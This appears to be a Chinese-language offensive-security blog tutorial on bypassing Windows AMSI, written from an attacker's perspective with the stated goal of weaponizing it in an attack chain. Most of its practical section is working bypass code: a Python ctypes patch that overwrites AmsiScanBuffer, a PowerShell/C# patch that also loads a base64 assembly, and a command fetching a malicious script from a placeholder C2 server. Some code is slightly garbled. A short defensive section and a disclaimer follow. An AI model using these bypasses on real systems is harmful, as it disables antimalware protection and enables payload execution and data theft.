一、从安全事件谈起:AMSI为何成为攻击者的眼中钉?
近年来,微软的反恶意软件扫描接口(Antimalware Scan Interface,简称 AMSI)已经成为攻击者与安全防护系统之间的一场角力赛。AMSI 在 Windows 平台上广泛应用,其设计目的是拦截潜在的恶意脚本和代码,特别是在 PowerShell 和 WScript 等常见攻击媒介中发挥了重要作用。在针对企业的 APT 攻击案例中,AMSI 已经成功多次捕获到恶意脚本的执行尝试,从而使攻击者的 payload 暴露无遗。
然而,安全厂商并非无懈可击。当攻击者发现可以通过修改内存、动态加载 DLL 或篡改相关函数的返回值来绕过 AMSI 的检测时,这场猫鼠游戏便有了新的变化。在 2022 年的一起针对金融行业的 APT 攻击中,攻击者成功利用 AMSI 绕过技术,将恶意 PowerShell 脚本注入到目标系统中,避开了 EDR(终端检测与响应)与杀毒软件的监控,从而窃取了大量敏感数据。

今天,我们将从攻击者视角深度剖析 AMSI 绕过的原理与实现,并从实战出发,逐步展示如何绕过 AMSI 的防护机制,最终将技术武器化用于完成完整的攻击链。
---
二、AMSI绕过的技术原理:从防护机制到破防思路
AMSI 的工作机制
AMSI 是微软为防止恶意脚本运行开发的一套防护机制,它支持多种脚本语言(如 PowerShell、VBScript 和 JScript),通过拦截脚本执行时的内容,将其交由反恶意软件引擎(如 Windows Defender)进行扫描。如果脚本被判定为恶意内容,执行过程将被终止。
具体来说,AMSI 的核心工作流程包括以下几个步骤:
- 当用户执行脚本时,脚本会调用对应的解释器(如 powershell.exe)。
- 解释器将脚本内容传递给 AMSI 的接口(如
AmsiScanBuffer)。 - AMSI 将脚本内容以明文形式传递给反恶意软件引擎。
- 如果扫描结果判定为恶意,AMSI 将阻断脚本的执行。
绕过 AMSI 的核心思路
AMSI 的防护机制存在一个关键弱点:它依赖于 Windows 系统的 API 函数(如 AmsiScanBuffer)来进行检测。如果攻击者能够在脚本执行时,动态篡改这些 API 的执行流程,就可以绕过 AMSI 的扫描。常见的绕过思路包括:
- 修改内存:通过直接修改
AmsiScanBuffer函数在内存中的返回值,使其始终返回 "干净"。 - 动态加载 DLL:在运行时加载恶意的 AMSI 模块,替换原始模块的功能。
- 禁用 AMSI:通过修改注册表或系统配置,完全关闭 AMSI 功能。
- 加密/混淆代码:将恶意代码以加密或混淆形式存储,避免 AMSI 在扫描阶段识别。
接下来,我们将以实战为导向,逐步实现上述绕过方法中的关键技术。

---
三、构建实战环境:还原攻击现场
在开始动手之前,我们需要搭建一个可控的实验环境。以下是推荐的配置:
环境配置
- 操作系统:Windows 10 x64(启用 Windows Defender)
- 工具集:
- PowerShell 5.0+
- Python 3.10+
- Visual Studio Code(用于编写与调试代码)
- 必要工具:
- Mimikatz(可选,用于后续测试)
- Process Hacker(监控进程和内存)
- AnyRun 或其他沙箱环境(便于观察效果)
配置建议
- 启用 AMSI 和 Windows Defender 的实时保护,以验证绕过是否成功。
- 准备一个虚拟机环境,避免对主机系统造成潜在威胁。
完成环境准备后,让我们进入实战演示部分。
---
四、Payload构造的艺术:AMSI动态绕过实战
在本节中,我们将编写一个简单的 POC 代码,演示如何通过修改内存的方式绕过 AMSI。
攻击步骤
- 确定目标函数:在内存中定位
AmsiScanBuffer的地址。 - 动态篡改内存:将目标函数的返回值强制修改为 "干净"。
- 验证绕过效果:运行恶意脚本,确保 AMSI 无法拦截。
以下是具体代码实现。
Python 实现内存修改
<pre><code class="language-python">import ctypes import sys
def patch_amsi():
加载 amsi.dll
amsi = ctypes.windll.LoadLibrary("amsi.dll")
获取 AmsiScanBuffer 函数的地址
amsi_scan_buffer = amsi.AmsiScanBuffer
修改函数的内存权限为可写
kernel32 = ctypes.windll.kernel32 PAGE_EXECUTE_READWRITE = 0x40 old_protect = ctypes.c_ulonglong() kernel32.VirtualProtect(amsi_scan_buffer, ctypes.sizeof(ctypes.c_void_p), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect))
设置一个 NOP 指令覆盖原始函数(简单起见,这里直接替换返回值)
注意:NOP 为 0x90。替换为返回值 0 的字节码。
ctypes.memset(amsi_scan_buffer, 0xc3, 1)
print("[+] AMSI Patch Applied Successfully")
if __name__ == '__main__': try: patch_amsi() print("[+] AMSI Patch Complete. Run your script now.") except Exception as e: print(f"[-] Error occurred: {e}")</code></pre>
PowerShell AMSI 绕过代码
<pre><code class="language-powershell">[Reflection.Assembly]::Load([System.Text.Encoding]::UTF8.GetBytes( "TVqQAAMAAAAEAAAA...Base64Payload...")) | Out-Null $Patch = @" using System; using System.Runtime.InteropServices;
public class AmsiBypass { public static void Disable() { IntPtr amsiScanBuffer = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); byte[] patch = { 0xc3 }; Marshal.Copy(patch, 0, amsiScanBuffer, 1); }
[DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName); } "@
Add-Type -TypeDefinition $Patch [AmsiBypass]::Disable() Write-Host "AMSI Disabled"</code></pre>
运行效果验证
- 在 Windows 系统上运行上述代码。
- 执行一段恶意 PowerShell 脚本,例如:
- 如果 AMSI 被成功绕过,恶意脚本将执行成功。
`powershell Invoke-WebRequest -Uri "http://[C2 Server]/malicious.ps1" -OutFile "C:\temp\payload.ps1" `

---
五、如何检测并修复:防御方的反击
虽然 AMSI 绕过技术威胁极大,但企业可以采取以下措施应对:
- 启用内存完整性保护:使用 Windows 10 的 "Core Isolation" 功能,防止未经授权的内存操作。
- 部署 EDR 工具:强大的 EDR 工具可以检测到内存异常修改行为。
- 代码签名验证:确保执行的脚本与程序来自可信来源。
- 禁用 PowerShell 的非交互模式:限制攻击者通过 PowerShell 执行恶意代码。
---
六、总结与个人心得
从攻击者的角度来看,AMSI 绕过技术的核心在于动态修改系统内存,进而篡改防护功能。通过本次实战分析,我们不仅展示了如何在攻击链中有效利用 AMSI 绕过技术,还揭示了防御方可能的应对措施。
但请务必记住:本篇文章仅限合法授权的安全测试使用,滥用任何技术手段将承担法律责任。希望大家能够以学习与研究的态度,从攻防对抗中掌握更多技能,为网络安全贡献一份力量。
Stay offensive, but ethical.